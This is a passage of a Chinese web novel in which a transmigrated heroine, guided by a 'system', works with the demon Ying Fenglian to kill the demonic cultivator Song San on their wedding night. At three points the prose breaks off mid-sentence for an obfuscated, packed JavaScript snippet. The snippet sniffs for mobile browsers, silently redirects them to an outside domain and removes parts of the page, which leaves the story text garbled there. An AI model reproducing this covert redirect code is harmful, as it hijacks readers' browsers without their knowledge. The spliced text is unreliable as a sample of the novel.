是一颗行走的散发着诱人香气的十全大补丸啊! 电光火石间,一个大胆的计划在颜悬昭脑中成型。 【宿主!收收你的眼神!白月光人设!白!月!光!】系统发出警告。 颜悬昭一个激灵,立刻收起灼热的眼神。 她垂下眼帘,长长的睫毛在眼底投下忧伤的阴影,声音带着三分惆怅、三分幽怨、四分不舍:“应公子,你我……终究是有缘无分……” 应逢怜配合地垂下眼眸,浓密的睫毛掩去所有真实情绪,声音低哑落寞:“是应某来得太迟。只能遥祝姑娘……觅得良缘,一生顺遂……” 他们都演得情真意切,仿佛下一秒就要心碎而亡。 “良缘?顺遂?”颜悬昭猛地站起身,快步走到窗边,留给应逢怜一个忧伤的侧影,四十五度角仰望窗外那轮冰冷的明月,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316295|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲愤。 “应公子可知,那宋三,根本不是什么良人。城中早已传遍,他修炼邪魔外道,靠采补女子阴元增进修为。年纪轻轻有此‘造诣’,全是踏着累累白骨!” 她就不信重伤的应逢怜听了这句话能毫不心动。这魔头如果想治伤,最快的方法就是吞噬其他魔修的内丹。 应逢怜微微一顿,抬眸,探究的目光如同实质般胶着在颜悬昭的侧脸上,似乎在分辨她话中真假:“哦?竟有此事?颜姑娘……如何得知?” 颜悬昭假装沉浸在自己的“悲愤”中,继续煽风点火:“若非今日撞见他,感受到他身上那股令人作呕的魔气……我也不愿相信这世间竟有如此丧尽天良之徒!” 她作势要转身,抒发自己的愤怒,一股冰冷的气息却毫无预兆地从身后笼罩下来,颜悬昭猝不及防,直接撞进他的胸膛。 一双骨节分明的手轻轻搭在她的双肩上,看似力度小,却不容她挣脱。 应逢怜不知何时已如鬼魅般出现在她身后,而原本站在一旁的小桃,不知何时已软软地歪倒在椅子上,陷入沉睡。 “小姐……”应逢怜俯下身,薄唇几乎贴上颜悬昭的耳廓,温热的气息拂过她的碎发,带来一阵令人战栗的痒意。 他低笑着,声音带着一丝玩味的恶意:“你很怕魔?” 颜悬昭全身僵硬,干涩地挤出回答:“……魔物凶残,谁……谁能不怕?” “哦?”应逢怜似乎很满意于她的恐惧,笑声更愉悦了,眼尾泛起一抹妖异的绯红,如同荼蘼花一样昳丽而致命。 他手臂微微用力,扣着她强硬地将她的脸转向自己,逼迫她直视他的双眼。 颜悬昭的呼吸瞬间停滞。 那双原本深邃的眼眸,此刻瞳孔竟已收缩成一条猩红的竖线,血色的流光在竖瞳中缓缓旋转,散发着非人的邪异与压迫感。 丝丝缕缕危险的魔气如活物般从他周身逸散开来,缠绕在两人之间! 他竟主动卸下了魔的伪装。 “那……”他微微歪头,竖瞳紧锁着她因恐惧而放大的瞳孔,声音低沉如情人的呢喃,“……小姐怎么不怕我这个魔呢?” 话音未落,他猛地收紧手臂,将她以一种几乎窒息的力道拥入怀中,姿态仿佛热恋中交颈缠绵的爱侣。 只有颜悬昭知道,这分明是一条缠住猎物,随时准备收紧绞杀的毒蛇。 【宿主!说话!再不说你就真没命了!】系统在她脑中发出凄厉的尖叫。 说话!快说话! 颜悬昭急得灵魂都要出窍,但越急脑子越像灌满了浆糊,只能凭着本能,干巴巴地挤出几个毫无说服力的字:“我不怕……你,你不一样……” 完了,死定了。 这回答连她自己都说服不了! 颜悬昭绝望地闭上眼,等待那致命的一击或者好感度暴跌的提示音。 但预想中的剧痛或系统警报并未降临,反而是身上那令人窒息的束缚,骤然松开了。 应逢怜放开了她,退后一步。 他的竖瞳隐去,恢复成深不见底的黑眸,周身魔气也收敛得干干净净,仿佛刚才那妖异恐怖的一幕只是幻觉。 “三日后,宋家迎亲。”他脸上所有的笑意和戏谑都消失了,声音平静无波,却仿佛掌控了一切,“按我接下来说的做。我自会来‘接’你。” 颜悬昭劫后余生,心脏还在狂跳,只能僵硬地点头:“……好。” 还好还好,她活下来了,虽然过程惊悚了点,但总算把这尊煞神暂时拉上了贼船。接下来,就看如何借应逢怜这把最锋利的刀,去宰了宋三那头恶鬼! 只是……刚才她那糟糕透顶的应对,肯定又把这小心眼的魔头得罪狠了吧? 现在好感度负到多少了?负到临界点会不会直接被抹杀? 她这悲催的穿书生涯,简直是一部《社畜在异世界被迫与魔头斗智斗勇》的血泪史…… 【滴!应逢怜好感度+15!当前好感度:0。】系统音如天籁般响起。 颜悬昭:? 她猛地抬头,难以置信地看向床边那个又恢复成“脆弱美人”姿态的应逢怜。 他脑子被花瓶砸坏了吗?还是……他就好这口? 4. 出嫁 “点炮仗了,都走远点!” 吆喝声一落地,捧着各式各样贺礼、来往穿行的丫鬟们都停下、纷纷四散开来,围在了周遭,兴致盎然地看起点爆竹来,如同过了年般地热闹。 院子中露出了一小块空地。 见没人靠近了,点火的小厮利落地掏出火折子轻轻一吹,火苗跃然而起。他用手护住火苗,凑近点着了引线。橘红色的火苗顺着线噼里啪啦地攀缘而上,几息间绽出了一片喧嚣的艳红。 爆竹迸裂的碎屑弹射到窗棂上,将窗边的帘子震开了一道小口,露出来新娘子忧愁的面庞。 与外头的热闹喜气不同,颜悬昭的闺房里可谓是一片愁云惨淡。 颜悬昭凤冠霞帔、浓妆艳抹地端坐在梳妆台前。但此刻的她已经无心去欣赏自己盛装打扮的新嫁娘模样。 镜中人蛾眉紧蹙,再浓厚的脂粉和胭脂也掩盖不住底下她苍白的面色和眼底的不安。 这次不需要系统提醒,她也能真切地感受到死期正在一点点地逼近,这种未知的恐惧如同扼在她喉咙上逐渐收紧的手。 小桃抽噎着为颜悬昭抚平嫁衣上最后一道褶皱。 “小姐、我苦命的小姐……”小桃泣不成声,那双素日里精通梳妆绣花的巧手颤抖着、反复着,却如何也抚不平那道简单的折痕。 小桃的话语唤回了颜悬昭的三分神魂。 看着眼前真心实意地为她难过的小桃,颜悬昭心底有股说不出的滋味。 她如果难逃这一劫,那小桃作为陪嫁的侍女又会怎么样呢?会不会也落入了那宋三的毒手? 颜悬昭不知道,因为故事总是吝啬于给小人物笔墨,而她也不过是在其中占上几个字的分量。 她深吸了一口气,压下心中翻涌的情绪,伸手轻轻按住小桃忙碌却徒劳的手,止住她无意义的动作。 “小桃,”颜悬昭的语气出乎意料地坚决,“你留在颜府。” 小桃的泪水一时间竟忘了落下,她不可置信地睁大了眼睛:“怎么可以?我是小姐你的陪嫁丫鬟!我要一直陪伴在你身边,不可以离开你的!” 颜悬昭张开嘴,还想继续劝她,却被再度燃起的鞭炮声打断了。外头骤然间锣鼓喧天。 几乎是同时,敲门声急促响起。 “小姐,花轿到了,该出来了。”门口的喜婆出声催促道。 闻言,小桃用袖子胡乱地擦掉了眼泪,强压住了哽咽,声音还带凝重的鼻音:“小姐,我去给你取盖头。” 说完,她就转身快步朝里间走去。 颜悬昭心乱如麻地坐等着,思绪繁杂,心中反复推演着今晚的行动计划和如何劝诫小桃不要跟着过去。 因为想得太入神,她丝毫没注意到“小桃”已经拿好红盖头,悄无声息地站在了她的身后。 一双手轻轻地搭在了她的肩膀上,吓得她猛地打了个激灵。 “小姐,奴来给你盖上盖头。” 颜悬昭下意识抬头。 铜镜里映射出小桃的模样,面容身形丝毫不差,甚至连发髻上的粉色珠花都一模一样。颜悬昭却觉得眼前的人透露出一股秾丽妖异之感,绝非小桃,更像是…… “应……公子?”颜悬昭结结巴巴道,两排牙齿止不住地打颤。 “小桃”勾唇一笑,恢复了清朗的男子声线:“小姐果然聪慧。” 镜子里映出小桃乖巧的模样,可口中却吐露属于男子的声线,这反差诡异到让人头皮发麻。 “小桃呢?”颜悬昭立马警觉,想要转身,却被肩上的手摁住动弹不得:“你把她怎么样了?” 应逢怜顶着小桃的模样,不紧不慢地替她整理好刚刚因动作幅度太大而微微歪掉的发簪,又将盖头扬开,稳稳地落在她的头上。 做完这一切,他缓缓才开口道:“放心,只是让她在你房内好好睡一觉。接下来,由我陪你‘出嫁’。” 得知小桃被安全地留在了颜府,颜悬昭暗自松了一口气,总算是放下了心中的一块大石。 但迫在眉睫的任务,让她不得不继续保持脑袋的高速运转,思索起今晚的计划。 “公子你说,”她试探着开口,声音在盖头下闷闷地传来,“要是那宋三警惕性太强,我没能把符箓贴在的他命门……” 她想从他的口中套出是否还有备用的方案,估算今晚行动的容错率能有多高。 奈何她的视野被盖头遮得严严实实,眼前一片暗红,无从看见应逢怜的神情,进而揣摩他平静话语里的真实意图。 忽然,应逢怜的手环住了她的脖颈。冰冷的指尖抵住她脖子处的温热肌肤,那一小块皮肤瞬间被激起了细密的疙瘩。 于此同时,他的低语在她的耳边的响起,语调缱绻温柔,内容却让人不寒而栗:“若没有把握住一击毙命敌人的机会,那也只能怪你红颜薄命了。” “没有价值的人是会被抛弃的,昭昭。” 该死的黄世仁!让牛马危险作业,又不不给牛马买保险! 颜悬昭在心里疯狂地咒骂着他,恨不得跳起来给他一拳。但面上却不得不讨好他。 她迅速回握住了他虚拢在她命门上的手,语气诚恳地如同最忠实的狗腿子:“你放心交给我吧!我保证完成任务,不辱使命!” “小姐哟!再不出来,就真的耽误吉时了!”门口的喜婆再度出声,焦急地催促着。 应逢怜闻言漠然地抽回了手,站直了身,一把将已经腿软了的颜悬昭拎了起来,语气平静无波:“该出发了。” ——————————————————— 颜悬昭瘫软着被应逢怜一路半挟持、半搀扶着送出了房门。 走过几道连廊,连跨三道院门,才终于来到颜府大门。 刚踏出府门,围观颜府喜事的人群议论声瞬间高涨,如潮水般源源不断地涌进她的耳朵里。 “这新娘子走路怎么这样啊,没有侍女搀扶着估计都得倒地上了。莫不瘫是了?”有个大娘的声音格外洪亮,声音穿透人群。 “肯定是身体有问题才嫁给宋三。要不好好世家小姐,何必嫁给那种人?”一旁的人立马附和道,带着自以为是的了然。 这时,有人不合时宜地跳出来开了个玩笑:“总不至于是因为要嫁人了,吓成这样的吧?” 话音刚落就引得周围人哄笑一片。 就连搀扶着她的应逢怜都微不可闻地轻颤了两下,凭借着这极近的距离,颜悬昭成功捕抓到从他喉头泄露出的一丝笑音。 他在偷笑!他知道内情,居然还和他们一起笑她! 她即将要踏入那样的龙潭虎穴,没吓得随地大小便都是勇气可佳了! 这下气得颜悬昭瞬间理智全无,摸索着就要往他手上拧一把。 【宿主不可!你可是温柔白月光人设!】装死了半天的系统冷不丁出声了。 颜悬昭瞬间弹射着缩回了手,却没料到应逢怜反握住了她,不许她抽回,指尖不轻不重地在她的掌心摁了摁,好似带着某种安抚的意味。 这个动作太过突然,让她一时间愣住了。 下一秒,天旋地转。 周围有人惊呼了一声:“这丫鬟力气真大!” 等颜悬昭回过神来,发现自己已经被应逢怜打横抱起,一步步走向花轿。 颜悬殊连忙环住他的脖子,以免被他一个不慎摔下来,却不想应逢怜的臂力惊人,抱着她轻松地如同抱着棉花枕头,一路脸不红气不喘,稳稳当当地来 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一看就不是什么正经人家的符,邪门极了,瞄一眼都SAN值(理智值)狂掉。 颜悬昭检查了一番没有发现破损,就小心翼翼地折好、万分谨慎地收回衣服的夹层里。 如今破局之法是有了,但实现的过程还是难如登天。 要如何不引起宋三的怀疑取到他的血? 这是一个极难的事情。 还没等颜悬昭想出一个万全之策,一路摇摇晃晃的轿子猛地停了下来。 她的身体因为惯性下意识往前扑去,她连忙一手摁住轿沿稳住身形,一手扶住头上晃得叮当响的凤冠。 直到这时,颜悬昭这才惊觉到外头响了一路的鼓乐声已经停下,四下霎时间陷入了一种可怕的寂静。 她屏住呼吸,惊疑不定地侧耳倾听,试图捕捉轿外的任何一丝声响。 就在这令人窒息的寂静里,一只枯槁消瘦、指节青白泛灰的手,毫无预兆地伸了进轿子里,然后朝着她,摊开了掌心。 “娘子,请下轿吧。”宋三嘶哑干涩的声音,在轿外慢悠悠地响起,每个字都敲打在颜悬昭紧绷的神经上。 宋府,到了。 颜悬昭不安地咬了咬唇,硬着头皮,将手颤颤巍巍地搭上了宋三摊开的手掌心。 此刻她真的宁愿来拉她的是应逢怜。 宋三如鹰爪般的手微微一用力便抓着她的手腕将她拉出了喜轿。 颜悬昭脚步虚浮地跟随着他下了轿撵,下意识看了一眼候在了喜轿左侧的应逢怜。 应逢怜尽职扮演着小桃的模样,脸上挂着喜气洋洋的微笑。 若是真的小桃跟来了,此刻不知道得要多难过。 颜悬昭心下黯然。 “娘子,你的盖头……”宋三的声音再度响起。 颜悬昭一惊,连忙往头上摸索去,才发现自己忘记把掀掉的红盖头重新盖上就下了轿子。 “小姐,奴替您重新披上。”应逢怜适时将遗落的盖头从轿子里拿出,重新为她披上。 颜悬昭的视野重新被遮住,视觉的被剥夺让她感到格外地不安,一切其他的感官都被无限放大了。 忽然,她感觉应逢怜正要收回的手有意无意地勾了一下她的掌心,不动声色地、快速地在她的掌心里摁了摁。 突如其来的熟悉动作,让她的心莫名安定了下来。 至少,他不会完全袖手旁观。 她缓缓呼出一口气,接过喜婆递来的红绸。 伸头也是一刀,缩头也是一刀。 老娘拼了! 5. 惊魂夜 婚房被装点得富丽堂皇,殷红的囍字触目皆是,金铸的福娃、玉质的观音、堆成小山状的红枣、桂圆、花生、莲子,琳琅满目地摆放在金丝楠木的案桌上……陈设明明与寻常富贵人家的婚房别无二致,但却总有一股说不出的阴森之感。 颜悬昭的喜轿一送到宋府,随轿的人除了“小桃”都被遣返了。而扮演“小桃”的应逢怜一进宋府人就不见了,眼前都是宋家的婆子、侍女规矩地静候在屋内。 烛火憧憧之下她们的影子被无限扭曲、拉长,映射在粉白的墙面上随着火苗摆动的方向摇曳,如同张牙舞爪的妖魔在盛宴中狂舞。 坐在步拔床上的颜悬昭掀开盖头,看见这安静诡谲的一幕被吓得差点从床沿上跌坐下来。 她凝神看去,发现房内的下人们个个印堂发黑,唇色青白,目光涣散。不通岐黄道术的人都判断出他们沾染了邪祟,神智被吞噬,时日无多了。 “那个……”颜悬昭清了清喉咙,拿起世家贵女的矜娇腔调,“你们都退下吧,到门外守着。需要服侍我自会叫你们进来。” 房中下人们宛如未闻,还是站在原地一动不动。 颜悬昭不得已提高声量,重复了几遍,他们才像延迟得到指令的傀儡般,慢慢向外退去。 直到最后一人彻底退出房间,合上了房门,颜悬昭才放心地从床上下来。 她走到门窗边检查,确保都关严实后,迅速从怀里掏出藏匿已久的朱砂和符纸。 时间紧迫。 她利落地拔下发间的分量不轻的金钗,以尖锐的簪尾沾取朱砂,努力回议应逢怜教给她的繁复法阵,依葫芦画瓢般将记忆中的图纹原样复刻在婚房的地面上。 应逢怜给的朱砂非同寻常,落地就开始变淡,仅须臾就透明得与地面融为一体,肉眼极难察觉。 这极大地增强了法阵的隐蔽性,但同时也给颜悬昭的描画增加了很多难度。 她必须时刻牢记上一笔画的收尾之处,完好地衔接上,笔触要圆滑流畅,漏了某个细节都很可能导致法阵的失效。 熟练的阵法师或许一盏茶的功夫便能完成这个法阵,但颜悬昭是个训练时长两天半的阵法练习生,能完整画完已属不易。 她屏气凝神,强迫自己全神贯注于法阵的勾画,手心中源源不断沁出的汗差点滑得让她握不住簪子。 巨大的生存压力充分逼出了颜悬昭的潜能,她竟然真的一分不差地画好了大半的法阵。 就在她暗自松了口气时,耳边却突然响起系统焦急无比的声音; 【宿主快画!宋三往婚房这边来了!】 “他不是还得和宾客们推杯换盏一会吗?”颜悬昭手腕一抖,差点将一笔画歪,“怎么这么快往这边来了?” 系统却道:【现在不是纠结这个的时候,根据他行走路线和速度,估计还有7分14秒就会到达这里了。】 如果配套的法阵不能完成,那么符箓的威力将大大减弱,估计连应逢怜也不能保证现在的他能够制服宋三。 没有时间分心和犹豫了! 颜悬昭咬紧下唇,不再小心翼翼地回忆细节,决意破釜沉舟,依赖着短暂的肌肉记忆和直觉,运笔如飞。 就在她即将完成最后一个小阵脚时,门外响起了突如其来的脚步声。 —————————— 前厅宴会。 “恭喜宋兄,又娶得一位美娇娘!”一位喝得醉醺醺的宾客拿着一壶酒向他走来。 宋三连连摇头,佯装不胜酒力推拒了他的劝酒:“不行了、喝不下了……” 他边说边向后退了半步,避开那醉鬼身上浓重的酒气,随即转身,提高了音量: “诸位!” 这一声成功让在场的觥筹交错、举杯换盏暂时休歇,所有人的目光齐刷刷地汇聚到了他的身上。 宋三一脸醉意醺然,摇摇晃晃地拱手道:“宋某、感谢各位亲朋好友赏脸,百忙之中来喝我的喜酒。在下实在是不胜酒力,就在此敬大家最后一杯。” “望大家吃好、喝好!若有招待不周之处,还望海涵!”说罢,他举起最后一杯酒向四周示意,而后一饮而尽、亮出杯底。 “好!!”席间爆发出激烈的喝彩和掌声。 有人趁机打趣道:“宋兄,这是等不及要去洞房花烛了!” 话语刚落,众人就识趣地露出了暧昧的笑意。 宋三也不辩解,挥了挥手,顺势将大半身子靠在一旁搀扶的小厮身上,脚步虚浮、跌跌撞撞地离了席。 刚走出拐角,听不见宴席的吵闹声后,他便推开了小厮,自行站直了身体。眼神清明,没有了半点醉酒的迹象。 “你退下吧,我自己走走。”他挥退小厮。 小厮躬身应是,悄无声息地退下。 空荡的回廊只剩下他一人。 他悠然地背起手朝婚房走去,走着走着还哼起了歌谣。 原以为阴命兼有修为的女子十分难寻,没想到这么快又找到一个,真是老天爷都在助他! 只要再吸取这一个的元阴与修为,突破元婴境界便指日可待。到那时,莫说这小小的筠州城,便是那些眼高于顶的名门大宗,见了他宋三,少不得也要客气几分! 宋三越想越得意,廊边粼粼水色映着月光落到他的脸上,照亮了他脸上狰狞的笑容。 忽然,水中的倒影似乎极其轻微地、不自然地晃动了一下。 宋三哼歌的调子一顿,警觉地转头看向水面。 池水微澜,除了一弯破碎的月影和自己的倒影,并无他物。 他用灵力查探了片刻,没察觉到任何不妥,便当是自己酒意上头,一时看了花了眼,甩了甩头就继续往前走。 他没有看到,在他转身之后水中的影子迟滞了一瞬,才缓缓地从水里流淌上来,跟随在他的身后。 ——————— 婚房外,宋三看着廊下如木偶般伫立的下人们,不悦地皱起眉头。 “怎么人都在外面候着?”他冷声问道,目光从他们呆滞的面庞一扫而过。 下人们统一、缓慢地将头扭向他,空洞洞的视线齐聚他的身上,却没有一个人开口。 宋三也早习惯他们这样似的,没有继续追究,不耐烦地挥挥手,旋即抬手敲响房门。 “笃。笃。笃。” 清脆的敲门声在回廊游荡,在寂静之下格外有压迫感。 “夫人?”他的语调刻意拖长了,配着粗粝的嗓音,有股说不出的渗人感,“不让为夫进去吗?” 里头立马传来了新娘子慌张的声音:“等等!” 他的脸上浮现出一个僵硬古怪的微笑。 等等?可是他已经等不及了。 宋三不给她反应的时间,稍一运功就用内力震断了门闩,旋即推门入户。 “吱呀”一声,门应声洞开。 颜悬昭慌里慌张地从地上爬起,一副受惊小白鼠的模样。 宋三兴致盎然地等待着她接下来的反应,期待着她如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316297|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同前面十几任妻子一样惊恐、尖叫、逃窜。 他像个高高在上的猎人般享受着猎物在他天罗地网里的无用挣扎,而她们的恐惧、愤怒、疯狂是最好的调味料。 出人意料的是,这次的新娘子如他预想般崩溃决堤,反而出乎意料地迅速恢复了镇定,并对着他挤出了一个干巴巴的笑容:“夫君,要坐下来喝杯醒酒茶吗?” ——————— 颜悬昭一边不动声色地打量着宋三的反应,一边偷偷将手上沾染到的朱砂通通在桌布下蹭干净。 幸好,她赶在了最后一刻极速画完了法阵。 她维持着慌张苍白又故作镇定的笑容,扮演着脆弱而天真,试图讨好夫君来自保的新妇。 这是她头脑风暴后认为面对宋三的最佳形象,一个无害的、不值得任何提防的猎物。 到了直正面对宋三的这刻,颜悬昭反倒冷静下来了,无比清楚地意识到,现在她只有依靠自己才能救自己。 如果坐等奇迹出现,她这种没有主角光环的倒霉蛋只会是死路一条。 见宋三没有反应,她大着胆子倒了一杯茶递给了他。 宋三眯了眯眼,接过她的茶轻抿了一口,眼睛一错不错地打量着她。 颜悬昭立马看向他放下的茶杯,上面有她故意制造出的细微却锋利的豁口。 但很遗憾,上面却没有一点血迹。 她不免在内心失望地叹息了一声。 果然事情不会那么容易。 不过,颜悬昭作为一名出色的社畜,向来不会只做一套方案。 她壮着胆子,状似亲昵地扯住宋三的袖子,讨好道:“夫君别站着了,快坐下来歇歇脚。” 说罢,她将铺有软垫的绣墩扯了过来,让他坐下。 宋三意外地配合,深陷的眼睛将视线紧紧地黏在她的身上,意味不明地说道:“夫人今日格外地热情,与那天初见于府上时的态度截然不同……” 颜悬昭无心和他在言语的机锋上纠缠,心神都用在了关注他的反应上,嘴里胡乱应付道:“三十年河东,三十年河西,此一时彼一时,我也非吴下阿蒙了” “哦?那……”宋三绕有兴致地继续搭话。 却不想立马被颜悬昭不耐烦地打断了。 “好了,你也休息够了。”颜悬昭直接上手推开他,“起来吧。” 宋三:“?” 宋三从来没有说话被人这样无礼打断过,他站了起来,面色一沉。 颜悬昭却像丝毫看不懂脸色的二愣子一样,反而径直地将他往屏风后面推:“好了好了,你去沐浴净身吧,我已经命人准备好热水了。” 她还用胰子涂满了浴池周遭的地。 就算她的planB没有成功,他总能在planC这里摔出个好歹吧。 实在不行,她就趁他洗澡这个最薄弱的时候进去,猝不及防刺他一刀。 看到宋三的身影彻底消失在屏风后面,颜悬昭才不甘心地扑回软垫那里,检查起成果。 她翻出了软垫里的棉絮,却没找到她藏在里面的钉子。 奇怪……钉子呢?难不成她拿错坐垫了? 正在她百思不得其解之际。 “夫人……”宋三如同钝刀划过玻璃的呕哑声音在她背后重新响起,“是在找这个吗?” 颜悬昭僵硬回头。 原本应该在屏风后沐浴的宋三正站在她的身后。 他摊开的掌心里赫然躺着一枚崭新的锋利银钉。 6. 螳螂捕蝉 看到那枚银钉被宋三拿着,颜悬昭脑子顿时“嗡”地一声,只觉得全身的血液逆流,寒意爬上后脑勺。 她张了张嘴,想开口辩解,却被宋三以一个不耐烦的手势打断了。 “让我猜猜?”宋三抛了抛手中的钉子,金属特有的冷光在他的指尖闪烁。 他眼睛紧紧锁定着她,像审讯犯人般探究着她每一分细微的表情,“特地将钉子藏在垫子中,还将尖锐的那头朝上,莫不是要……取我的血?” 一语中的,宋三比她预料中的还要敏锐。 颜悬昭心里一沉。 她很好地维持着脸上疑惑的表情,大脑飞速运转,声音镇定道:“我要找的不是这个,可能是下人疏忽……” 宋三笃定了自己的猜测,压根不信任她这一套说辞。他冷哼了一声,警惕地打量起整个房间。 他的目光从紧闭的窗棂、燃烧的龙凤花烛、贡台上一一扫过,每个细微的摆件都不放过,甚至蹲下来仔细查看地毯,搜寻任何可能存在的陷阱或灵力痕迹。 颜悬昭的心提到了嗓子眼,不敢贸然上前阻拦,只得僵硬地站在原地,紧张地注视着他的一举一动,祈祷法阵能逃过他的探查。 就在宋三检查无果,准备站起来时,颜悬昭猛地看见了他的影子异常地晃动了一下。 她下意识地眨了眨眼,再次定睛看去,那影子却又恢复了正常,仿佛刚才只是她过度紧张产生的错觉。 宋三又围绕着房间探查了一遍,却依旧毫无所获,他气势汹汹地走回了她的跟前,一把攥住了她的手腕,逼问道:“说!你取我的血为了干什么?是不是在房间里做了什么手脚!” “我没做什么手脚,我真不知道软垫有钉子!”颜悬昭苍白地辩解着,注意力却不由自主地飘向宋三的影子。 一股说不清道不明的怪异感始终缠绕在她的心头。 她总觉得影子不应该是这样的,却又说不出哪里不对劲。 这时一阵夜风刚好吹过,透窗棂的缝隙钻了进来,惊扰了烛火,明灭不定,屋内物品的影子也因光源的摇摆产生了位移和形变。 宋三脚下的影子却像是被钉在了原地,纹丝不动。 脚下的影子……一道灵感如同闪电般劈入颜悬昭的脑中,让她想通了一切关窍。 光源来自侧方的烛台,他的影子不可能如此端正地停留在他正后方,还丝毫不受光源变动的影响! 然而,还没等她从这个惊悚的发现中理出头绪,宋三已经彻底失去了耐心。 他猛地一甩手,将颜悬昭如同扔一件破玩.偶般狠狠掷到了步拔床上。 “臭娘们,敬酒不吃吃罚酒!就凭你也想算计我?”暴怒之下,他脸上的皮肤因肌肉扭曲而皱成深深的沟.壑,显得无比狰狞。 颜悬昭被摔得头晕眼花,想要挣扎起身,却被宋三暴力摁回了床上,不得动弹。 “本来还觉得你性子有趣,想多留你玩一段时间。”宋三周遭溢出丝丝缕缕魔气,转瞬间眼白全部转为了墨汁色,露出了魔的本相:“现在看来没这个必要了。” 说罢,他露出了尖锐獠牙,带着浓重的腥臭之气,径直朝颜悬昭身上咬去。 【宿主小心!】系统失声惊呼。 颜悬昭无计可施,艰难摸出藏在袖子里的金钗猛地朝他身上扎去,进行最后的殊死一搏。 宋三察觉到有寒光闪过,以为她拿出厉害的法宝,下意识松开钳制,往旁边急闪,躲开了她的攻击。 待他回过神来,才发现她拿的不过是个普通的金钗,这下彻底放下了防备,得意地狞笑起来,笑声尖锐刺耳如魔音贯耳,在婚房里反复回荡。 颜悬昭被他的笑声冲击到头疼欲裂,拼命捂住耳朵想要阻隔音波的冲击。 “我还以为你会有什么厉害的杀手锏呢?”宋三明白眼前人已是黔驴技穷,猫捉老鼠般的戏弄之心再起,“给你个机会,选一个地方,作为我待会咬你的第一口。” “头颅、胸膛、肚子、还是腿?”他的目光兴奋而残忍地在她身体上游移,评估着从哪里下口更能享受猎物的恐惧。 颜悬昭蜷缩在床角,恐惧挟持住了她的全身让她止不住地颤.抖。在这种恐惧下还油然而生了一种无名的怒火,促使她决绝地嘶吼出:“有本事你就给我个痛快!” “痛快?哈哈哈哈哈哈”宋三像是听到了什么天大的笑话,“不、不、不,你们痛快了,我可不痛快?” 他的目光里充斥着纯粹而残忍的恶意,“告诉你,就算你们的头颅掉了,我都能让你们一直活着、清醒着供我亵玩,直到我厌倦为止。” 这番话引起颜悬昭的强烈不适,她的胃里一阵翻江倒海。 此刻,她终于知道原书中“死相惨烈”四个字的具象化。前面十几个女孩生前遭受了他无穷无尽的折磨,最后还无人问津地悲惨死去。 难道就没有人能够制裁这个魔头吗?正道的人都去哪里了,为什么这样的人还能逍遥法外数十年?让那些惨死的冤魂无法安息! 为什么她一点对抗他的能力也没有? 她恨正义的迟到,任由罪恶逍遥法外,恨自己空有一副悲悯之心却弱小无能,这些愤恨如同烈火燎原般焚尽了她所有的恐惧。 颜悬昭摇摇晃晃地站了起来,握紧了手中的金钗,决意要在死前做最后的抵抗。 今日就算她身死,但能在死前挖他一块血肉,刺他一道伤口,或者扯掉他一根头发,都算她的胜利! 宋三慢条斯理地踱步靠近,朝着她张开了血盆大口…… 千钧一发之刻,异变陡生! 宋三脚下那片一直静止不动的影子,毫无征兆地鼓动起来,像沸腾的黑色沼泽里生长出触.手猛地缠裹住他的双脚,力量大得惊人! 宋三所有的注意力都在眼前的颜悬昭身上,完全没料到自己的影子会突然发难。他被这突如其来的力量狠狠一绊,身体失去平衡,猝不及防地向前跪倒。 于此同时,颜悬昭的身体抢先于她的意识一步,像压缩到极致的弹簧一跃而起,将全身的力量和身体的重量全部灌注到金钗之中,狠狠一压—— “噗嗤——” 金钗顺利地全部没入他的后心,霎时间,鲜血喷涌。 宋三剧震,猛地呕出大口鲜血,倒趴在地。 他不可思议地艰难回头,满眼震惊地看向颜悬昭:“不可能……寻常利器怎么可能伤到我!” 他的魔功大成,早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316298|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已刀枪不入,是以普通的钉子根本划不破他的皮肉,一根普通的金钗又怎么会伤到他! 颜悬昭也没想到钗子能够这么轻松地穿透宋三的身体。她诧异地看向自己的手,发现自己的掌心发烫,中间有个点隐隐泛着红光。 电光火石间,颜悬昭想起应逢怜两度按了按她的掌心。 她还以为他是单纯地安慰她…… “贱.人!我要将你碎尸万段!”宋三彻底被激怒,陷入疯狂,周身魔气暴走,强大的冲击力瞬间震碎了缠绕在他脚上的黑影束缚。 “纳命来!”他狂吼一声,伸出狰狞的爪刃朝她袭来。 颜悬昭立刻回神,不给他反扑的机会,火速将手心温热的魔血狠狠抹在紧攥于左手中的符箓上,念起了启动法阵的口诀。 下一刻,婚房的地面剧烈晃动,发出了冲天的红光,一直隐匿的法阵此刻终于亮起,无数的符文在上面流动,发出令人心悸的恐怖威压和毁灭气息,如同被鲜血唤醒的沉睡巨兽。 宋三一下子被钉住了,保持着欲要扑起的姿势动弹不得,只能在原地发出不甘的嘶吼。 